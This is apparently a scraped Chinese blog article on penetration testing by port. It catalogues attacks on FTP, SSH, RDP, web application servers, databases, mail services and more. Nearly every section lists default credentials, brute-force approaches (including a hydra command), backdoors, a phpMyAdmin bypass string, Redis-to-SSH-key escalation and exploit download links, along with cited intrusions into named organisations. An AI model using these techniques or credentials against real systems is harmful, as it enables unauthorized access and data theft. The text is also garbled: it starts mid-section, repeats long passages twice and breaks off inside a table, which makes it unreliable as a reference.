远程桌面连接:作为windows上进行远程连接的端口,很多时候我们在得到系统为windows的shell的时候我们总是希望可以登录3389实际操作对方电脑;这个时候我们一般的情况分为两种。一种是内网,需要先将目标机3389端口反弹到外网;另一种就是外网,我们可以直接访问;当然这两种情况我们利用起来可能需要很苛刻的条件,比如找到登录密码等等;
默认端口:3389
攻击方式:
爆破:3389端口爆破工具就有点多了
Shift粘滞键后门:5次shift后门
3389漏洞攻击:利用ms12-020攻击3389端口,导致服务器关机;请参考VNC服务
VNC:一款优秀的远控工具,常用语类UNIX系统上,简单功能强大;也
默认端口:5900+桌面ID(5901;5902)
攻击方式:
爆破:弱口令
认证口令绕过:
拒绝服务攻击:(CVE-2015-5239)
权限提升:(CVE-2013-6886)
案例分享:
广西电信客服服务器使用VNC存在弱口令可直接控制Pcanywhere服务
PyAnywhere服务:一款远控工具,有点类似vnc的功能;这个服务在以前很多黑客发的视频里面都有,利用pcanywhere来进行提权;
默认端口:5632
攻击方式:
提权控制服务:
拒绝服务攻击:
代码执行:请参考
案例分享:
黑龙江物价局多处安全漏洞可能导致服务器沦陷(pcAnywhere提权+密码突破)Web应用服务端口渗透
HTTP服务:对于http服务其实是我们目前这几年比较常见的攻击入口,所以这里会针对http服务进行一个详细的详解;
注:这个板块的所有攻击方式,如果涉及到常规的web漏洞不会提出来,除非是特定的服务器才会产生的漏洞;IIS服务
默认端口:80/81/443
攻击方式:
IIS
PUT写文件:利用IIS漏洞,put方法直接将文件放置到服务器上
短文件名泄漏:这种一般没啥影响
解析漏洞:详细见apache服务
案例分享:
徐州市教育系统大量IIS PUT漏洞
用友软件IIS写权限(PUT)导致可获取webshell控制服务器
国家电网某分站存在iis短文件名漏洞Apache/Tomcat/Nginx/Axis2
默认端口:80/8080
攻击方式:
爆破:弱口令(爆破manager后台)
HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;
解析漏洞:请参考
案例分享:
安卓开发平台存在上传漏洞和Apache解析漏洞,成功获取webshell
腾讯分站 Apache 漏洞WebLogic
默认端口:7001
攻击方式:
爆破:弱口令 4组:用户名密码均一致:system weblogic(密码可能weblogic123) portaladmin guest
Congsole后台部署webshell:
Java反序列化:
泄漏源代码/列目录:这个太老了,估计网上都没有了吧!
SSRF窥探内网:央视网SSRF可窥探内网
案列分享:
福建省人力资源和社会保障厅下属某WEBLOGIC弱口令
利用Weblogic进行入侵的一些总结Jboss
默认端口8080;其他端口1098/1099/4444/4445/8080/8009/8083/8093
攻击方式:
爆破:弱口令(爆破jboss系统后台)
远程代码执行:由于配置不当造成
Java反序列化:
案例分享
中华人民共和国民政部JBoss配置不当
JBOSS安全问题总结
中国科学院某处jboss应用漏洞Websphere
默认端口:908*;第一个应用就是9080,第二个就是9081;控制台9090
攻击方式:
爆破:弱口令(控制台)
任意文件泄漏:(CVE-2014-0823)
Java反序列化
案例分享:
中国电信某通用型业务系统(Websphere)GetShell漏洞
大汉网络有限公司远程命令执行漏洞(WebSphere案例)GlassFish
默认端口:http 8080;IIOP 3700;控制台4848
攻击方式:
爆破:弱口令(对于控制台)
任意文件读取:
认证绕过:
案例分享:
应用服务器glassfish存在通用任意文件读取漏洞
Oracle GlassFish Server认证绕过Jenkins
默认端口:8080、8089
攻击方式:
爆破:弱口令(默认管理员)
未授权访问:
反序列化:
案例分享:
酷6Jenkins系统未授权访问可执行系统命令Resin
默认端口:8080
攻击方式:
目录遍历
远程文件读取
案例分享:
爱奇艺Resin配置漏洞
Resin漏洞利用案例之目录遍历/以金蝶某系统为例Jetty
默认端口:8080
攻击方式:
远程共享缓冲区溢出Lotus
影响的都是一些大型的企业,特别需要注意,经过以前的测试发现弱口令这个问题经常都存在,可能是很多管理员不知道如何去修改(不要打我)。
默认端口:1352
攻击方式:
爆破:弱口令(admin password)控制台
信息泄露
跨站脚本攻击
案例分享:
Lotus Domino WebMail一处越权访问
中电投集团某系统弱口令直达内网涉及/OA系统/内部邮箱/财务系统/人力资源系统
中国某大型金融机构地方业务弱口令导致数万商户信息泄露&amp;访问Lotus Domino后台数据库服务端口渗透
针对所有的数据库攻击方式都存在SQL注入,这里先提出来在下面就不一一写了免得大家说我占篇幅;当然不同的数据库注入技巧可能不一样,特别是NoSQL与传统的SQL数据库不太一样。但是这不是本文需要介绍的重点,后面有时间会写一篇不同数据库的渗透技巧。MySQL数据库
默认端口:3306
攻击方式:
爆破:弱口令
身份认证漏洞:CVE-2012-2122
拒绝服务攻击:利用sql语句是服务器进行死循环打死服务器
Phpmyadmin万能密码绕过:用户名:‘localhost’@’@”  密码任意
案例分享:
漏洞分享
和讯网某站点存在mysql注入漏洞
MySQL提权总结MSSQL数据库
默认端口:1433(Server 数据库服务)、1434(Monitor 数据库监控)
攻击方式:
爆破:弱口令/使用系统用户
案例分享:
MSSQL注射总结
上海安脉综合管理系统mssql注射漏洞
解密MSSQL连接数据库密码
从攻击MSSQL到提权: 使用msf针对mssql的一次完整渗透Oracle数据库
默认端口:1521(数据库端口)、1158(Oracle EMCTL端口)、8080(Oracle XDB数据库)、210(Oracle XDB FTP服务)
攻击方式:
爆破:弱口令
注入攻击;
漏洞攻击;
案例分享:
Oracle盲注结合XXE漏洞远程获取数据PostgreSQL数据库
PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。包括我们kali系统中msf也使用这个数据库;浅谈postgresql数据库攻击技术  大部分关于它的攻击依旧是sql注入,所以注入才是数据库不变的话题。
默认端口:5432
攻击方式:
爆破:弱口令:postgres postgres
缓冲区溢出:CVE-2014-2669
案例分享:
Hacking postgresql
关于postgresql的那些事MongoDB数据库
MongoDB:NoSQL数据库;攻击方法与其他数据库类似;关于它的安全讲解:请参考
默认端口:27017
攻击方式:
爆破:弱口令
未授权访问;github有攻击代码;请点击
案例分享:
MongoDB phpMoAdmin远程代码执行
搜狐MongoDB未授权访问
新浪微米未授权访问
解决MongoDB各种隐患问题Redis数据库
redis:是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问。Exp:https://yunpan.cn/cYjzHxawFpyVt  访问密码 e547
默认端口:6379
攻击方式:
爆破:弱口令
未授权访问+配合ssh key提权;
案例分享:
中国铁建网redis+ssh-keygen免认证登录SysBase数据库
默认端口:服务端口5000;监听端口4100;备份端口:4200
攻击方式:
爆破:弱口令
命令注入:
案例分享:
广西自考信息系统Sybase数据库注入
Sybase EAServer命令注入漏洞DB2数据库
默认端口:5000
攻击方式:
安全限制绕过:成功后可执行未授权操作(CVE-2015-1922)
案例分享:
哈尔滨银行主站DB2注入
总结一下:对于数据库,我们得知端口很多时候可以帮助我们去渗透,比如得知mysql的 数据库,我们就可以使用SQL注入进行mof、udf等方式提权;如果是mssql我们就可以使用xp_cmdshell来进行提权;如果是其它的数据 库,我们也可以采用对应的方式;比如各大数据库对应它们的默认口令,版本对应的漏洞!
顺便提一下:很多时候银行企业采用的都是oracle、db2等大型数据库;邮件服务端口渗透SMTP协议
smtp:邮件协议,在linux中默认开启这个服务,可以向对方发送钓鱼邮件!
默认端口:25(smtp)、465(smtps)
攻击方式:
爆破:弱口令
未授权访问
案例分享:
腾讯邮箱smtp注册时间限制绕过漏洞
邮件伪造详解
qq邮箱伪造发件地址,容易被钓鱼利用
众多厂商邮件系统配置不当可伪造邮件人POP3协议
默认端口:109(POP2)、110(POP3)、995(POP3S)
攻击方式:
爆破;弱口令
未授权访问;
案例分享:
中国联通沃邮箱等部分Android客户端免密码登陆(可获取任意联通用户pop3密码)
中航信邮箱密码泄漏及VPN账号和大量邮箱弱口令导致可内网漫游拿到域控IMAP协议
默认端口:143(imap)、993(imaps)
攻击方式:
爆破:弱口令
配置不当
案例分享:
163邮箱二次验证饶过缺陷
南方周末邮件服务器任意文件读取漏洞网络常见协议端口渗透DNS服务
默认端口:53
攻击方式:
区域传输漏洞
见2中的总结
案例分享:
全球Top1000Websites中存在DNS区域传送漏洞的网站列表
团购王某站DNS域传送漏洞
DNS泛解析与内容投毒DHCP服务
默认端口:67&68、546(DHCP Failover做双机热备的)
攻击方式:
DHCP劫持;
见2中总结
案例分享:
流氓DHCP服务器内网攻击测试SNMP协议
默认端口:161
攻击方式:
爆破:弱口令
案例分享:
snmp弱口令引起的信息泄漏
基于snmp的反射攻击的理论及其实现
华为某服务器SNMP弱口令其他端口渗透Hadoop文件服务
默认端口:请参考
案例分享:
Apache Hadoop远程命令执行
新浪漏洞系列第六弹–大量hadoop应用对外访问Zookeeper服务
zookeeper:分布式的,开放源码的分布式应用程序协调服务;提供功能包括:配置维护、域名服务、分布式同步、组服务等。详情请参考百度百科
默认端口:2181
攻击方式:
未授权访问;
案例分享:
zookeeper未授权访问漏洞
网上关于这方面的案例暂时不多,但是对于大数据逐渐泛滥的今天,这些漏洞未来会在乌云上出现一大波!Zabbix服务
zabbix:基于Web界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。监视各种网络参数,保证服务器系统的安全运营。
默认端口:8069
攻击方式:
远程命令执行:
案例分享:
当渗透遇到zabbix–小谈zabbix安全
Zabbix的前台SQL注射漏洞利用
网易zabbix运维不当,导致任意命令执行。(可提权、可内网渗透)elasticsearch服务
elasticsearch:请百度(因为我觉得我解释不清楚)
默认端口:9200()、9300()
攻击方式:
未授权访问;
远程命令执行;
文件遍历;
低版本webshell植入;
案例分享:
ElasticSearch 远程代码执行漏洞
elasticsearch 漏洞利用工具memcache服务
默认端口:11211
案例分享:
Memcache安全配置
memcache 未授权访问漏洞Linux R服务
R服务:TCP端口512,513和514为著名的rlogin提供服务。在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts + +)。
默认端口:512(remote process execution);513(remote login a la
telnet);514(cmd)
攻击方式:
使用rlogin直接登录对方系统;RMI
RMI:我们使用这两个端口很少的原因是因为必须是java,而且rmi穿越防火墙并不好穿越;这里我不会去涉及其他的东西,这里提出RMI只是因为在前段时间的java反序列化中,我们的小伙伴Bird写过一个weblogic利用工具,里面涉及到了RMI的一些东西,在有的时候使用socket不能成功时,我们可以使用RMI方式来进行利用;
默认端口:1090()、1099()
攻击方式:
远程命令执行(java反序列化,调用rmi方式执行命令)
这就是RMI的魅力了!
工具下载:请点我Rsync服务
Rsync:类UNIX系统下的数据备份工具(remote sync),属于增量备份;关于它的功能,大家自行百度百科吧,其实上面很多大家也看到了说是端口渗透,其实就是端口对应服务的渗透,服务一般出错就在配置或者版本问题上,rsync也不例外。Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。
默认端口:873
攻击方式:
未授权访问;
本地提权:rsync默认以root运行,利用rsync上传一个文件,只要这个文件具有s权限,我们执行我们的攻击脚本就可以具有root权限。详细请参考和参考二
案例分享:
搜狐几处rsync未授权访问Socket代理
默认端口:1080
Socket代理针对代理来说没有什么漏洞,一般只是在渗透过程中作为我们的代理,进入内网,或者渗透域和林的时候有帮助。这里不做过多描述,但是可以尝试爆破一下代理的用户名和密码,万一运气好能登录,不也~~~~
案例分享:
利用php socket5代理渗透内网0x02 总结两句图解端口渗透端口号端口说明攻击技巧21/22/69ftp/tftp:文件传输协议爆破
嗅探
溢出;后门22ssh:远程连接爆破
OpenSSH;28个退格23telnet:远程连接爆破
嗅探25smtp:邮件服务邮件伪造53DNS:域名系统DNS区域传输
DNS劫持
DNS缓存投毒
DNS欺骗
深度利用:利用DNS隧道技术刺透防火墙67/68dhcp劫持
欺骗110pop3爆破139samba爆破
未授权访问
远程代码执行143imap爆破161snmp爆破389ldap注入攻击
未授权访问512/513/514linux r直接使用rlogin873rsync未授权访问1080socket爆破:进行内网渗透1352lotus爆破:弱口令
信息泄漏:源代码1433mssql爆破:使用系统用户登录
注入攻击1521oracle爆破:TNS
注入攻击2049nfs配置不当2181zookeeper未授权访问3306mysql爆破
拒绝服务
注入3389rdp爆破
Shift后门4848glassfish爆破:控制台弱口令
认证绕过5000sybase/DB2爆破
注入5432postgresql缓冲区溢出
注入攻击
爆破:弱口令5632pcanywhere拒绝服务
代码执行5900vnc爆破:弱口令
认证绕过6379redis未授权访问
爆破:弱口令7001weblogicJava反序列化
控制台弱口令
控制台部署webshell80/443/8080web常见web攻击
控制台爆破
对应服务器版本漏洞8069zabbix远程命令执行9090websphere控制台爆破:控制台弱口令
Java反序列9200/9300elasticsearch远程代码执行11211memcacache未授权访问27017mongodb爆破
未授权访问 查看全部
实例连接大多没用直接去乌云镜像上搜标题
0x00 背景
在前段时间的渗透中,我发现通过端口来进行渗透有时会提升我们的效率,所以才有了这篇文章的诞生;
首先分享一份关于端口及他们对应的服务文件:https://yunpan.cn/cYyNXEpZNYvxQ 访问密码 983e
这里再分享一篇我曾经在百度文库提交的端口渗透文章:请点我
再次看这篇文章发现写的很简单,也只描述了几个常见的端口渗透;而且一般我们都是可以修 改默认端口的,所以平时在渗透过程中,对端口信息的收集就是一个很重要的过程;然后对症下药就可以更快的渗透进入我们需要的服务器;接下来就详细通过渗透 实战对端口的渗透进行更加深入的剖析;
端口渗透过程中我们需要关注几个问题:
1、  端口的banner信息
2、  端口上运行的服务
3、  常见应用的默认端口
当然对于上面这些信息的获取,我们有各式各样的方法,最为常见的应该就是nmap了吧!我们也可以结合其他的端口扫描工具,比如专门的3389、1433等等的端口扫描工具;服务默认端口
公认端口(Well Known Ports):0-1023,他们紧密绑定了一些服务;
注册端口(Registered Ports):1024-49151,他们松散的绑定了一些服务;
动态/私有:49152-65535,不为服务分配这些端口;
当然这些端口都可以通过修改来达到欺骗攻击者的目的,但是这就安全了吗?攻击者又可以使用什么攻击方式来攻击这些端口呢?
还需要注明的一点是:很多木马工具也有特定的端口,本文并没有涉及到这块的内容,大家可以自己去收集收集!关于爆破之我见
在对这些端口进行实战讲解时,我需要先阐述一下我对爆破这个方式的一些看法;
爆破:技术最简单,需要的技术能力基本为0,工作效率与网络、硬件等相关,在我看来爆破其实是最强大的攻击方式,特别是结合一些特制的字典,结合社工我们可以在很短的时间达到最大的效果,只不过因为我们的pc或者字典不够强大,所以很多时候我们不能进行一次优秀的爆破攻击;当然现在很多web应用以及服务端口都限制了暴力破解;对于这种做了限制的我们可能就需要利用到本文提到的其他攻击了!
分享一个团队sai总结的字典:请点击
声明:本文总结的都是近两年的常见漏洞,以前的老版漏洞以及危害性不大的漏洞没有总结,望大家谅解!0x01 实战测试文件共享服务端口渗透ftp服务
FTP服务:ftp服务我分为两种情况,第一种是使用系统软件来配置,比如IIS中的FTP文件共享或Linux中的默认服务软件;第二种是通过第三方软件来配置,比如Serv-U还有一些网上写的简易ftp服务器等;
默认端口:20(数据端口);21(控制端口);69(tftp小型文件传输协议)
攻击方式:
爆破:ftp的爆破工具有很多,这里我推荐owasp的Bruter以及msf中ftp爆破模块;
匿名访问:用户名:anonymous  密码:为空或任意邮箱
用户名:FTP            密码:FTP或为空
用户名:USET         密码:pass
当然还有不需要用户名密码直接访问的,一般出现在局域网中;

嗅探:ftp使用明文传输技术(但是嗅探给予局域网并需要欺骗或监听网关)

后门技术:在linux的vsftp某一版本中,存在着一个后门程序,只要在用户名后面加上 就会在6200上打开一个监听Shell,我们可以使用telnet直接连接;详细请点击
远程溢出漏洞:6.10.1 IIS FTP远程溢出漏洞,在IIS FTP服务器中NLST命令存在一个缓冲区溢出漏洞,这个漏洞可能是攻击者在服务器运行一条非法命令。
跳转攻击:(Bounce Attacks)攻击者发送一个FTP”PORT”命令给目标FTP服务器,其中包含该主机的网络地址和被攻击的服务的端口号。这样,客户端就能命令FTP服务器发一个文件给被攻击的服务。这个文件可能包括根被攻击的服务有关的命令(如SMTP,NNTP等)。由于是命令第三方去连接到一种服务,而不是直接连接,就使得跟踪攻击者变得困难,并且还避开了基于网络地址的访问限制。(注:此种情况小白并没有遇到过,只是总结一下,欢迎大牛指教)
案例分享:
山东电信Serv-U Web客户端弱口令
长虹ftp弱口令导致全网数据泄漏NFS服务
nfs:网络文件系统,允许网络中的计算机通过TCP/IP网络共享资源。基于Linux系统,配置方面很简单,详细配置请参考案例分享。在nfs配置中,有不做任何限制的,有限制用户,有限制IP,以及在版本2.x中我们还可以使用证书来验证用户。当然不同的限制可以采用的攻击方式也不一样;就目前而言网上关于nfs的攻击还是比较少的!
默认端口:2049
攻击方式:
未授权访问:未限制IP以及用户权限设置错误
案例分享:
Nfs配置不当导致被入侵
NFS服务全攻略Samba服务
Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;samba登录分为两种方式,一种是需要用户名口令;另一种是不需要用户名口令。在很多时候不光是pc机,还有一些服务器,网络设备都开放着此服务,方便进行文件共享,但是同时也给攻击者提供了便利。
默认端口:137(主要用户NetBIOS Name Service;NetBIOS名称服务)、139(NetBIOS Session Service,主要提供samba服务)
攻击方式:
爆破:弱口令(爆破工具采用hydra)hydra -l username -P
PassFile IP smb
未授权访问:给予public用户高权限
远程代码执行漏洞:CVE-2015-0240等等
案例分享:
Samba远程代码执行漏洞
未授权访问文件系统漏洞LDAP协议
ldap:轻量级目录访问协议,最近几年随着ldap的广泛使用被发现的漏洞也越来越多。但是毕竟主流的攻击方式仍旧是那些,比如注入,未授权等等;这些问题的出现也都是因为配置不当而造成的。
默认端口:389
攻击方式:
注入攻击:盲注
未授权访问:
爆破:弱口令
案例分享:
LDAP注入与防御剖析
欧朋LDAP服务匿名访问
使用LDAP查询快速提升域权限远程连接服务端口渗透SSH服务
SSH服务:这个服务基本会出现在我们的Linux服务器,网络设备,安全设备等设备上,而且很多时候这个服务的配置都是默认的;对于SSH服务我们可能使用爆破攻击方式较多。
默认端口:22
攻击方式
爆破:弱口令、
漏洞:28退格漏洞、OpenSSL漏洞
案例分享:
安宇创新科技ssh弱口令
宜信贷某站存在OpenSSL漏洞Telnet服务
Telnet服务:在SSH服务崛起的今天我们已经很难见到使用telnet的服务器,但是在很多设备上同样还是有这个服务的;比如cisco、华三,深信服等厂商的设备;我就有很多次通过telnet弱口令控制这些设备;
默认端口:23
攻击方式
爆破:弱口令
嗅探:此种情况一般发生在局域网;
案例分享:
大量惠普打印机远程telnet可被查看和操作Windows远程连接
远程桌面连接:作为windows上进行远程连接的端口,很多时候我们在得到系统为windows的shell的时候我们总是希望可以登录3389实际操作对方电脑;这个时候我们一般的情况分为两种。一种是内网,需要先将目标机3389端口反弹到外网;另一种就是外网,我们可以直接访问;当然这两种情况我们利用起来可能需要很苛刻的条件,比如找到登录密码等等;
默认端口:3389
攻击方式:
爆破:3389端口爆破工具就有点多了
Shift粘滞键后门:5次shift后门
3389漏洞攻击:利用ms12-020攻击3389端口,导致服务器关机;请参考VNC服务
VNC:一款优秀的远控工具,常用语类UNIX系统上,简单功能强大;也
默认端口:5900+桌面ID(5901;5902)
攻击方式:
爆破:弱口令
认证口令绕过:
拒绝服务攻击:(CVE-2015-5239
权限提升:(CVE-2013-6886)
案例分享:
广西电信客服服务器使用VNC存在弱口令可直接控制Pcanywhere服务
PyAnywhere服务:一款远控工具,有点类似vnc的功能;这个服务在以前很多黑客发的视频里面都有,利用pcanywhere来进行提权;
默认端口:5632
攻击方式:
提权控制服务:
拒绝服务攻击:
代码执行:请参考
案例分享:
黑龙江物价局多处安全漏洞可能导致服务器沦陷(pcAnywhere提权+密码突破)Web应用服务端口渗透
HTTP服务:对于http服务其实是我们目前这几年比较常见的攻击入口,所以这里会针对http服务进行一个详细的详解;
注:这个板块的所有攻击方式,如果涉及到常规的web漏洞不会提出来,除非是特定的服务器才会产生的漏洞;IIS服务
默认端口:80/81/443
攻击方式:
IIS
PUT写文件:利用IIS漏洞,put方法直接将文件放置到服务器上
短文件名泄漏:这种一般没啥影响
解析漏洞:详细见apache服务
案例分享:
徐州市教育系统大量IIS PUT漏洞
用友软件IIS写权限(PUT)导致可获取webshell控制服务器
国家电网某分站存在iis短文件名漏洞Apache/Tomcat/Nginx/Axis2
默认端口:80/8080
攻击方式:
爆破:弱口令(爆破manager后台)
HTTP慢速攻击:可以把服务器打死,对一些大型的网站有影响;
解析漏洞:请参考
案例分享:
安卓开发平台存在上传漏洞和Apache解析漏洞,成功获取webshell
腾讯分站 Apache 漏洞WebLogic
默认端口:7001
攻击方式:
爆破:弱口令 4组:用户名密码均一致:system weblogic(密码可能weblogic123) portaladmin guest
Congsole后台部署webshell:
Java反序列化:
泄漏源代码/列目录:这个太老了,估计网上都没有了吧!
SSRF窥探内网:央视网SSRF可窥探内网
案列分享:
福建省人力资源和社会保障厅下属某WEBLOGIC弱口令
利用Weblogic进行入侵的一些总结Jboss
默认端口8080;其他端口1098/1099/4444/4445/8080/8009/8083/8093
攻击方式:
爆破:弱口令(爆破jboss系统后台)
远程代码执行:由于配置不当造成
Java反序列化:
案例分享
中华人民共和国民政部JBoss配置不当
JBOSS安全问题总结
中国科学院某处jboss应用漏洞Websphere
默认端口:908*;第一个应用就是9080,第二个就是9081;控制台9090
攻击方式:
爆破:弱口令(控制台)
任意文件泄漏:(CVE-2014-0823)
Java反序列化
案例分享:
中国电信某通用型业务系统(Websphere)GetShell漏洞
大汉网络有限公司远程命令执行漏洞(WebSphere案例)GlassFish
默认端口:http 8080;IIOP 3700;控制台4848
攻击方式:
爆破:弱口令(对于控制台)
任意文件读取:
认证绕过:
案例分享:
应用服务器glassfish存在通用任意文件读取漏洞
Oracle GlassFish Server认证绕过Jenkins
默认端口:8080、8089
攻击方式:
爆破:弱口令(默认管理员)
未授权访问:
反序列化:
案例分享:
酷6Jenkins系统未授权访问可执行系统命令Resin
默认端口:8080
攻击方式:
目录遍历
远程文件读取
案例分享:
爱奇艺Resin配置漏洞
Resin漏洞利用案例之目录遍历/以金蝶某系统为例Jetty
默认端口:8080
攻击方式:
远程共享缓冲区溢出Lotus
影响的都是一些大型的企业,特别需要注意,经过以前的测试发现弱口令这个问题经常都存在,可能是很多管理员不知道如何去修改(不要打我)。
默认端口:1352
攻击方式:
爆破:弱口令(admin password)控制台
信息泄露
跨站脚本攻击
案例分享:
Lotus Domino WebMail一处越权访问
中电投集团某系统弱口令直达内网涉及/OA系统/内部邮箱/财务系统/人力资源系统
中国某大型金融机构地方业务弱口令导致数万商户信息泄露&amp;访问Lotus Domino后台数据库服务端口渗透
针对所有的数据库攻击方式都存在SQL注入,这里先提出来在下面就不一一写了免得大家说我占篇幅;当然不同的数据库注入技巧可能不一样,特别是NoSQL与传统的SQL数据库不太一样。但是这不是本文需要介绍的重点,后面有时间会写一篇不同数据库的渗透技巧。MySQL数据库
默认端口:3306
攻击方式:
爆破:弱口令
身份认证漏洞:CVE-2012-2122
拒绝服务攻击:利用sql语句是服务器进行死循环打死服务器
Phpmyadmin万能密码绕过:用户名:‘localhost’@’@”  密码任意
案例分享:
漏洞分享
和讯网某站点存在mysql注入漏洞
MySQL提权总结MSSQL数据库
默认端口:1433(Server 数据库服务)、1434(Monitor 数据库监控)
攻击方式:
爆破:弱口令/使用系统用户
案例分享:
MSSQL注射总结
上海安脉综合管理系统mssql注射漏洞
解密MSSQL连接数据库密码
从攻击MSSQL到提权: 使用msf针对mssql的一次完整渗透Oracle数据库
默认端口:1521(数据库端口)、1158(Oracle EMCTL端口)、8080(Oracle XDB数据库)、210(Oracle XDB FTP服务)
攻击方式:
爆破:弱口令
注入攻击;
漏洞攻击;
案例分享:
Oracle盲注结合XXE漏洞远程获取数据PostgreSQL数据库
PostgreSQL是一种特性非常齐全的自由软件的对象–关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。包括我们kali系统中msf也使用这个数据库;浅谈postgresql数据库攻击技术  大部分关于它的攻击依旧是sql注入,所以注入才是数据库不变的话题。
默认端口:5432
攻击方式:
爆破:弱口令:postgres postgres
缓冲区溢出:CVE-2014-2669
案例分享:
Hacking postgresql
关于postgresql的那些事MongoDB数据库
MongoDB:NoSQL数据库;攻击方法与其他数据库类似;关于它的安全讲解:请参考
默认端口:27017
攻击方式:
爆破:弱口令
未授权访问;github有攻击代码;请点击
案例分享:
MongoDB phpMoAdmin远程代码执行
搜狐MongoDB未授权访问
新浪微米未授权访问
解决MongoDB各种隐患问题Redis数据库
redis:是一个开源的使用c语言写的,支持网络、可基于内存亦可持久化的日志型、key-value数据库。关于这个数据库这两年还是很火的,暴露出来的问题也很多。特别是前段时间暴露的未授权访问。Exp:https://yunpan.cn/cYjzHxawFpyVt  访问密码 e547
默认端口:6379
攻击方式:
爆破:弱口令
未授权访问+配合ssh key提权;
案例分享:
中国铁建网redis+ssh-keygen免认证登录SysBase数据库
默认端口:服务端口5000;监听端口4100;备份端口:4200
攻击方式:
爆破:弱口令
命令注入:
案例分享:
广西自考信息系统Sybase数据库注入
Sybase EAServer命令注入漏洞DB2数据库
默认端口:5000
攻击方式:
安全限制绕过:成功后可执行未授权操作(CVE-2015-1922)
案例分享:
哈尔滨银行主站DB2注入
总结一下:对于数据库,我们得知端口很多时候可以帮助我们去渗透,比如得知mysql的 数据库,我们就可以使用SQL注入进行mof、udf等方式提权;如果是mssql我们就可以使用xp_cmdshell来进行提权;如果是其它的数据 库,我们也可以采用对应的方式;比如各大数据库对应它们的默认口令,版本对应的漏洞!
顺便提一下:很多时候银行企业采用的都是oracle、db2等大型数据库;邮件服务端口渗透SMTP协议
smtp:邮件协议,在linux中默认开启这个服务,可以向对方发送钓鱼邮件!
默认端口:25(smtp)、465(smtps)
攻击方式:
爆破:弱口令
未授权访问
案例分享:
腾讯邮箱smtp注册时间限制绕过漏洞
邮件伪造详解
qq邮箱伪造发件地址,容易被钓鱼利用
众多厂商邮件系统配置不当可伪造邮件人POP3协议
默认端口:109(POP2)、110(POP3)、995(POP3S)
攻击方式:
爆破;弱口令
未授权访问;
案例分享:
中国联通沃邮箱等部分Android客户端免密码登陆(可获取任意联通用户pop3密码)
中航信邮箱密码泄漏及VPN账号和大量邮箱弱口令导致可内网漫游拿到域控IMAP协议
默认端口:143(imap)、993(imaps)
攻击方式:
爆破:弱口令
配置不当
案例分享:
163邮箱二次验证饶过缺陷
南方周末邮件服务器任意文件读取漏洞网络常见协议端口渗透DNS服务
默认端口:53
攻击方式:
区域传输漏洞
见2中的总结
案例分享:
全球Top1000Websites中存在DNS区域传送漏洞的网站列表
团购王某站DNS域传送漏洞
DNS泛解析与内容投毒DHCP服务
默认端口:67&68、546(DHCP Failover做双机热备的)
攻击方式:
DHCP劫持;
见2中总结
案例分享:
流氓DHCP服务器内网攻击测试SNMP协议
默认端口:161
攻击方式:
爆破:弱口令
案例分享:
snmp弱口令引起的信息泄漏
基于snmp的反射攻击的理论及其实现
华为某服务器SNMP弱口令其他端口渗透Hadoop文件服务
默认端口:请参考
案例分享:
Apache Hadoop远程命令执行
新浪漏洞系列第六弹–大量hadoop应用对外访问Zookeeper服务
zookeeper:分布式的,开放源码的分布式应用程序协调服务;提供功能包括:配置维护、域名服务、分布式同步、组服务等。详情请参考百度百科
默认端口:2181
攻击方式:
未授权访问;
案例分享:
zookeeper未授权访问漏洞
网上关于这方面的案例暂时不多,但是对于大数据逐渐泛滥的今天,这些漏洞未来会在乌云上出现一大波!Zabbix服务
zabbix:基于Web界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。监视各种网络参数,保证服务器系统的安全运营。
默认端口:8069
攻击方式:
远程命令执行:
案例分享:
当渗透遇到zabbix–小谈zabbix安全
Zabbix的前台SQL注射漏洞利用
网易zabbix运维不当,导致任意命令执行。(可提权、可内网渗透)elasticsearch服务
elasticsearch:请百度(因为我觉得我解释不清楚)
默认端口:9200()、9300()
攻击方式:
未授权访问;
远程命令执行;
文件遍历;
低版本webshell植入;
案例分享:
ElasticSearch 远程代码执行漏洞
elasticsearch 漏洞利用工具memcache服务
默认端口:11211
案例分享:
Memcache安全配置
memcache 未授权访问漏洞Linux R服务
R服务:TCP端口512,513和514为著名的rlogin提供服务。在系统中被错误配置从而允许远程访问者从任何地方访问(标准的,rhosts + +)。
默认端口:512(remote process execution);513(remote login a la
telnet);514(cmd)
攻击方式:
使用rlogin直接登录对方系统;RMI
RMI:我们使用这两个端口很少的原因是因为必须是java,而且rmi穿越防火墙并不好穿越;这里我不会去涉及其他的东西,这里提出RMI只是因为在前段时间的java反序列化中,我们的小伙伴Bird写过一个weblogic利用工具,里面涉及到了RMI的一些东西,在有的时候使用socket不能成功时,我们可以使用RMI方式来进行利用;
默认端口:1090()、1099()
攻击方式:
远程命令执行(java反序列化,调用rmi方式执行命令)
这就是RMI的魅力了!
工具下载:请点我Rsync服务
Rsync:类UNIX系统下的数据备份工具(remote sync),属于增量备份;关于它的功能,大家自行百度百科吧,其实上面很多大家也看到了说是端口渗透,其实就是端口对应服务的渗透,服务一般出错就在配置或者版本问题上,rsync也不例外。Rsync默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。
默认端口:873
攻击方式:
未授权访问;
本地提权:rsync默认以root运行,利用rsync上传一个文件,只要这个文件具有s权限,我们执行我们的攻击脚本就可以具有root权限。详细请参考参考二
案例分享:
搜狐几处rsync未授权访问Socket代理
默认端口:1080
Socket代理针对代理来说没有什么漏洞,一般只是在渗透过程中作为我们的代理,进入内网,或者渗透域和林的时候有帮助。这里不做过多描述,但是可以尝试爆破一下代理的用户名和密码,万一运气好能登录,不也~~~~
案例分享:
利用php socket5代理渗透内网0x02 总结两句图解端口渗透端口号端口说明攻击技巧21/22/69ftp/tftp:文件传输协议爆破
嗅探
溢出;后门22ssh:远程连接爆破
OpenSSH28个退格23telnet:远程连接爆破
嗅探25smtp:邮件服务邮件伪造53DNS:域名系统DNS区域传输
DNS劫持
DNS缓存投毒
DNS欺骗
深度利用:利用DNS隧道技术刺透防火墙67/68dhcp劫持
欺骗110pop3爆破139samba爆破
未授权访问
